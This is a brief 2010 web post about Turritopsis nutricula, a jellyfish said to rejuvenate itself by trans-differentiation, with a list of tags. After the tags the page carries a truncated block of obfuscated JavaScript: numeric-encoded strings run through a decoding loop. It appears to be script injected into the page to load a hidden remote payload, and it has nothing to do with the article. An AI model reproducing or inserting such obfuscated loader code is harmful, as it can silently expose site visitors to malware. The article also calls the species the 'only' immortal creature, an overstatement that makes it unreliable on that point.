Written by Administrator Monday, 14 June 2010 17:23

Turritopsis nutricula, a species of jellyfish, may be the world's only "immortal" creature. Jellyfish usually die after propagating but Turritopsis reverts to a sexually immature stage after reaching adulthood and is capable of rejuvenating itself. How is this even possible? The key lies in a process that is called trans-differentiation. This is where a type of cell is transformed into another type. Some animals can undergo limited types of trans-differentiation, regenerating body parts or organs. This is true of salamanders who tend to regrow limbs. This jellyfish, though, can regeneration its entire body over and over again! Scientists are busy studying the jelly to try and figure out how it is able to completely reverse the aging process. This gives a new meaning to the term" sustainable."

More <u>here</u>, <u>here</u> and <u>here</u>

TAGS: jellyfish, Turritopsis nutricula, immortal creature, trans-differentiation, sustainable, immortality

var a=0,m,v,t,z,x=new Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656 380','7684','61818075'),l=x.length;while(++a